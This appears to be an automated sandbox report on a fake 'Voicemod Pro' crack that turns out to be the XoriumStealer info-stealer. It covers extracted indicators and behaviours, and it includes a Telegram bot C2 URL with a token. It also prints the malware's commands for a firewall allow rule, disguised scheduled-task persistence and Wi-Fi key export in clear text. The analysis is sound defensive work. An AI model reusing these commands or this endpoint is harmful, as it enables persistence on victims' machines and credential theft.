Analysis

  • max time kernel
    52s
  • max time network
    46s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/06/2026, 21:12

General

  • Target
    Crack_voicemod_pro.exe
  • Size 437KB
  • Sample260627-z2askady6p
  • SHA256 7b28197bae5a7b1adce270e7a30cde871acdccf41510202f2c0239a7f98ca2f3
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • xorium_stealer

C2
  • https://api.telegram.org/bot8682644885:AAHrfOOWs0fXFP8aePz1G5SLePwYwyEqemo/sendDocument

Attributes
  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36

Signatures

  • Family: XoriumStealer

    XoriumStealer is an information stealer written in C#.

  • Detects XoriumStealer payload 2 IoCs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Event Triggered Execution: AppInit DLLs 1 TTPs

    Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.

  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 6 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 8 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks system information in the registry 2 TTPs 1 IoCs

    System information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 6 IoCs
  • Drops file in Windows directory 8 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 52 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Crack_voicemod_pro.exe
    "C:\Users\Admin\AppData\Local\Temp\Crack_voicemod_pro.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4876
    • C:\Users\Admin\AppData\Local\Temp\mei44uuabaj9ctvf.exe
      "C:\Users\Admin\AppData\Local\Temp\mei44uuabaj9ctvf.exe"
      2⤵
      • Modifies WinLogon for persistence
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5924
      • C:\Windows\SYSTEM32\CMD.exe
        "CMD" netsh advfirewall firewall add rule name="?^>w{;,k{>"K{M" dir=in action=allow program="C:\Windows\System32\xdwdDefender.exe" enable=yes & exit
        3⤵
          PID:5028
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "Microsoft\Windows\WAppCrashNvTew" /tr "C:\Windows\System32\xdwdDefender.exe" /RL HIGHEST & exit
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4664
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc minute /mo 1 /tn "Microsoft\Windows\WAppCrashNvTew" /tr "C:\Windows\System32\xdwdDefender.exe" /RL HIGHEST
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:244
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "Microsoft\MachineCore" /tr "C:\Windows\Web\xdwdMalwareDef.exe" /RL HIGHEST & exit
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1752
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc minute /mo 30 /tn "Microsoft\MachineCore" /tr "C:\Windows\Web\xdwdMalwareDef.exe" /RL HIGHEST
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4640
        • C:\Windows\System32\xdwdDefender.exe
          "C:\Windows\System32\xdwdDefender.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Suspicious use of AdjustPrivilegeToken
          PID:468
      • C:\Users\Admin\AppData\Local\Temp\app.exe
        "C:\Users\Admin\AppData\Local\Temp\app.exe"
        2⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Looks for VirtualBox Guest Additions in registry
        • Looks for VMWare Tools registry key
        • Executes dropped EXE
        • Checks system information in the registry
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        PID:1584
      • C:\Users\Admin\AppData\Local\Temp\plikan.exe
        "C:\Users\Admin\AppData\Local\Temp\plikan.exe"
        2⤵
        • Executes dropped EXE
        • Accesses Microsoft Outlook profiles
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        • outlook_office_path
        • outlook_win_path
        PID:1628
        • C:\Windows\SYSTEM32\netsh.exe
          "netsh" wlan export profile key=clear folder="C:\Users\Admin\AppData\Local\Temp\IntelixWifiExport_990c1ca941494e73957cdb78cd07b5cf"
          3⤵
          • Event Triggered Execution: Netsh Helper DLL
          PID:1224
        • C:\Windows\SYSTEM32\netsh.exe
          "netsh" wlan show profiles
          3⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Network Configuration Discovery: Wi-Fi Discovery
          PID:6036
    • C:\Windows\System32\xdwdDefender.exe
      "C:\Windows\System32\xdwdDefender.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      PID:4532
    • C:\Windows\Web\xdwdMalwareDef.exe
      C:\Windows\Web\xdwdMalwareDef.exe
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      PID:2356
    • C:\Windows\System32\xdwdDefender.exe
      C:\Windows\System32\xdwdDefender.exe
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      PID:5816

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          app.exe

          • Path C:\Users\Admin\AppData\Local\Temp\app.exe
          • Size 24KB
          • SHA256 87352ac4b4aabdbbd98171fc19a3a8bc61a183d7384dc1dba77fe488db04d7bc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          mei44uuabaj9ctvf.exe

          • Path C:\Users\Admin\AppData\Local\Temp\mei44uuabaj9ctvf.exe
          • Size 502KB
          • SHA256 6f1225c6fc8dc975a884724e917f0e6e88fbe9e3b8764a17882a1187e584fcb1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          plikan.exe

          • Path C:\Users\Admin\AppData\Local\Temp\plikan.exe
          • Size 246KB
          • SHA256 e00b19ddc700f30e258ce4bfb5e38c49587a7048e7d240306b5fdf7dc6ff6538
          • MD5 SHA1 SHA512 SSDEEP TLSH

          xdwd.dll

          • Path C:\Windows\xdwd.dll
          • Size 136KB
          • SHA256 35c8d022e1d917f1aabdceae98097ccc072161b302f84c768ca63e4b32ac2b66
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1584-45-0x00007FF793040000-0x00007FF79304D000-memory.dmp

          memory/1628-36-0x00000178D2160000-0x00000178D21B0000-memory.dmp

          memory/1628-31-0x00000178B6170000-0x00000178B61B2000-memory.dmp

          memory/1628-43-0x00000178D0A00000-0x00000178D0A12000-memory.dmp

          memory/4876-4-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp

          memory/4876-32-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp

          memory/4876-0-0x00007FF9F02AF000-0x00007FF9F02B0000-memory.dmp

          memory/4876-2-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp

          memory/4876-1-0x0000000000DC0000-0x0000000000E34000-memory.dmp

          memory/5924-25-0x0000000000250000-0x00000000002D4000-memory.dmp

          memory/5924-26-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp

          memory/5924-27-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp

          memory/5924-142-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp

          memory/5924-156-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp